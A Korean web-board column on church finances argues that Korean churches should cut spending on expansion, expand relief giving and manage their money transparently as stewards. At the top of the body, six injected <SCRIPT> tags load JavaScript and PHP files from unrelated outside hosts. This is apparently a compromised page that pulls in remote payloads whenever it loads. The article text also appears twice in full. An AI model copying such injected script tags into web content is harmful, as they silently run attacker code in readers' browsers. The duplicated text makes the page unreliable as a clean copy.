칼럼 [박득훈 제언]한국교회, 돈 지갑에서 회심하라
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작성자 by 관리자 / 작성일06-08-11 13:18 / 조회 5,342 / 댓글1본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 한국교회, 돈 지갑에서 회심하라
건강한교회재정확립네트워크의 제언
이번 조사 결과는 통계학적 입장에는 아쉬운 점이 많지만 그 나름대로의 의미가 있다고 생각합니다. 적어도 그 동안 한국교회 재정 운용에 대한 다양한 우려가 안티기독교 세력이 퍼뜨린 사실무근의 유언비어나 비판을 위한 비판에서 비롯된 것이 아님을 보여주기 때문입니다.
한국교회가 건강성을 회복하려면 반드시 교회 재정 문제를 짚고 넘어가지 않을 수 없습니다. 마틴 루터는 '그리스도인에게 세 가지 회심이 필요하다. 가슴의 회심, 정신의 회심, 그리고 돈 지갑의 회심이다'고 예리하게 선언한 바 있습니다. 그 동안 한국교회는 이 명제를 성도들이 더 많은 헌금을 하도록 유도하는 데 효과적으로 사용해왔습니다. 안타까운 것은 교회 자체에 돈 지갑의 회심이 더 절실히 요청되고 있다는 점을 종종 간과하고 있다는 점입니다. 한국교회 전체적으로 볼 때 엄청난 돈 지갑을 갖고 있다는 것은 주지의 사실입니다. 통상적으로 100명당 일 년 예산 수입을 1억으로 잡습니다. 개신교 성도를 861만 명으로 잡을 때 1년 교회 수입이 대략 8조 6100억 원에 이른다고 볼 수 있습니다. 이 막대한 돈 지갑 운영과 관련된 잘못을 회개할 때, 한국교회는 비로서 진정으로! 건강해질 수 있습니다.
첫째, 한국교회는 돈의 왜곡된 논리와 굴레에서 해방되어야 합니다
토머스 머튼이라는 카톨릭 수도사는 이미 1900년대 중반에 '현대 사회에서 돈은 성령이 교회에서 차지해야 할 역할을 악마적으로 찬탈해버렸다'고 예리하게 지적한 바 있습니다. 현대교회는 사도행전의 초대 교회와는 달리 성령의 지시와 인도에 민감하게 순종하기보다는 돈의 논리에 지배당하고 있습니다. 맘몬은 그리스도인들의 마음을 하나님으로부터 훔쳐갈 수 있는 가장 무서운 존재라는 예수님의 경고를 받아들이지 않았기 때문입니다.
한국교회는 자끄 엘룰의 예리한 성찰에 귀를 기울여야합니다. '부 자체는 악이 아니라 유혹이다. 부가 유혹이라는 말은 부가 중립적이 아니라는 뜻이다. 부는 사람과 관계를 맺을 때, 인간의 위대한 정신과 가치를 드러내는 것이 아니라 오히려 인간의 악을 주로 드러낸다. 돈은 타락의 기회다'.
한국교회는 돈을 축적하여 돈이 주는 각종 편의와 영광을 누리고 싶은 욕망과 치열하게 싸워야 합니다. 위의 조사 결과에 의하면 교회 규모가 커지면서 사례비의 비중은 상당히 줄어든 반면(40.14%→15.29%) 사무관리행정비의 비중은 오히려 증가하는 경향이 있고(15.42%→21.92%) 구제비 비중의 증가는 아주 미미합니다(0.23%→3.07%). 여기서 개신 교회가 한국사회의 전체 사회복지기금의 70%를 담당하고 있으면서도 시민으로부터 외면당하고 있는 이유를 찾을 수 있습니다. 교회가 제공하는 사회복지비가 교회전체 재정에 비하면 껌 값에 지나지 않는다는 것을 그들이 알고 있기 때문입니다. 과부의 두 렙돈이 아닌 것입니다. 돈 지갑의 회심은 구체적으로 교회의 물적 확대를 위한 지출을 과감하게 줄이고 구제를 위한 지출을 대폭 확대하는 것으로 나타나야 합니다.
둘째, 책임 있는 청지기의 자세를 회복해야 합니다
교회에 들어오는 돈이 담임목사나 재정 담당자의 것이 아닌 것은 말할 것도 없거니와 교회의 것도 아니요, 오직 하나님의 것입니다. 교회는 하나님의 돈을 맡은 청지기일 뿐입니다. 계정 과목을 교묘히 활용하거나 예비비란 명목으로 목회자를 비롯한 일부 사람들이 하나님의 돈을 유용하거나 횡령하는 것은 있을 수 없는 일입니다. 교회 재정을 허술하게 주목구구 식으로, 불투명하게 운용함으로써 다양한 범죄가 끼어들 수 있는 여백을 남겨두는 것도 반드시 바로 잡아야 할 부분입니다.
이상의 두 가지 목적을 달성하기 위해 '건강한교회재정확립네트워크'는 총력을 기울일 것입니다.
건강한교회재정확립네트워크의 제언
이번 조사 결과는 통계학적 입장에는 아쉬운 점이 많지만 그 나름대로의 의미가 있다고 생각합니다. 적어도 그 동안 한국교회 재정 운용에 대한 다양한 우려가 안티기독교 세력이 퍼뜨린 사실무근의 유언비어나 비판을 위한 비판에서 비롯된 것이 아님을 보여주기 때문입니다.
한국교회가 건강성을 회복하려면 반드시 교회 재정 문제를 짚고 넘어가지 않을 수 없습니다. 마틴 루터는 '그리스도인에게 세 가지 회심이 필요하다. 가슴의 회심, 정신의 회심, 그리고 돈 지갑의 회심이다'고 예리하게 선언한 바 있습니다. 그 동안 한국교회는 이 명제를 성도들이 더 많은 헌금을 하도록 유도하는 데 효과적으로 사용해왔습니다. 안타까운 것은 교회 자체에 돈 지갑의 회심이 더 절실히 요청되고 있다는 점을 종종 간과하고 있다는 점입니다. 한국교회 전체적으로 볼 때 엄청난 돈 지갑을 갖고 있다는 것은 주지의 사실입니다. 통상적으로 100명당 일 년 예산 수입을 1억으로 잡습니다. 개신교 성도를 861만 명으로 잡을 때 1년 교회 수입이 대략 8조 6100억 원에 이른다고 볼 수 있습니다. 이 막대한 돈 지갑 운영과 관련된 잘못을 회개할 때, 한국교회는 비로서 진정으로! 건강해질 수 있습니다.
첫째, 한국교회는 돈의 왜곡된 논리와 굴레에서 해방되어야 합니다
토머스 머튼이라는 카톨릭 수도사는 이미 1900년대 중반에 '현대 사회에서 돈은 성령이 교회에서 차지해야 할 역할을 악마적으로 찬탈해버렸다'고 예리하게 지적한 바 있습니다. 현대교회는 사도행전의 초대 교회와는 달리 성령의 지시와 인도에 민감하게 순종하기보다는 돈의 논리에 지배당하고 있습니다. 맘몬은 그리스도인들의 마음을 하나님으로부터 훔쳐갈 수 있는 가장 무서운 존재라는 예수님의 경고를 받아들이지 않았기 때문입니다.
한국교회는 자끄 엘룰의 예리한 성찰에 귀를 기울여야합니다. '부 자체는 악이 아니라 유혹이다. 부가 유혹이라는 말은 부가 중립적이 아니라는 뜻이다. 부는 사람과 관계를 맺을 때, 인간의 위대한 정신과 가치를 드러내는 것이 아니라 오히려 인간의 악을 주로 드러낸다. 돈은 타락의 기회다'.
한국교회는 돈을 축적하여 돈이 주는 각종 편의와 영광을 누리고 싶은 욕망과 치열하게 싸워야 합니다. 위의 조사 결과에 의하면 교회 규모가 커지면서 사례비의 비중은 상당히 줄어든 반면(40.14%→15.29%) 사무관리행정비의 비중은 오히려 증가하는 경향이 있고(15.42%→21.92%) 구제비 비중의 증가는 아주 미미합니다(0.23%→3.07%). 여기서 개신 교회가 한국사회의 전체 사회복지기금의 70%를 담당하고 있으면서도 시민으로부터 외면당하고 있는 이유를 찾을 수 있습니다. 교회가 제공하는 사회복지비가 교회전체 재정에 비하면 껌 값에 지나지 않는다는 것을 그들이 알고 있기 때문입니다. 과부의 두 렙돈이 아닌 것입니다. 돈 지갑의 회심은 구체적으로 교회의 물적 확대를 위한 지출을 과감하게 줄이고 구제를 위한 지출을 대폭 확대하는 것으로 나타나야 합니다.
둘째, 책임 있는 청지기의 자세를 회복해야 합니다
교회에 들어오는 돈이 담임목사나 재정 담당자의 것이 아닌 것은 말할 것도 없거니와 교회의 것도 아니요, 오직 하나님의 것입니다. 교회는 하나님의 돈을 맡은 청지기일 뿐입니다. 계정 과목을 교묘히 활용하거나 예비비란 명목으로 목회자를 비롯한 일부 사람들이 하나님의 돈을 유용하거나 횡령하는 것은 있을 수 없는 일입니다. 교회 재정을 허술하게 주목구구 식으로, 불투명하게 운용함으로써 다양한 범죄가 끼어들 수 있는 여백을 남겨두는 것도 반드시 바로 잡아야 할 부분입니다.
이상의 두 가지 목적을 달성하기 위해 '건강한교회재정확립네트워크'는 총력을 기울일 것입니다.